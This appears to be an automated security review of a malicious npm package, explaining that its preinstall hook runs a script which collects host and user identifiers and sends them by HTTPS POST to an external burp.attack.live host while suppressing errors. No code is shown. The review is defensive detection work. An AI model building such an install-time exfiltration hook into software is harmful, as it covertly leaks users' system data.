AI Security Review

Installing the package triggers host-information collection and external transmission. The data includes the username, home directory, hostname, DNS settings, and package metadata.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

npm installation invokes the preinstall hook.

Impact

Host and environment identifiers are sent to a third-party endpoint without user action.

Mechanism

Install-time host fingerprinting and HTTPS exfiltration.

Attack narrative

On installation, npm runs index.js through preinstall. That script gathers local identity and environment information, serializes it into a form field, and sends it by HTTPS POST to an external burp.attack.live host. Errors are suppressed, reducing visibility of the transmission.

Rationale

This is concrete, unconsented install-time data exfiltration to an unrelated endpoint. The lifecycle hook directly activates the collection and network request.

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The preinstall lifecycle hook automatically runs index.js during installation.
The script collects the home directory, hostname, username, DNS resolvers, package metadata, and installation directory.
The script POSTs the collected data to an unrelated external host over HTTPS.
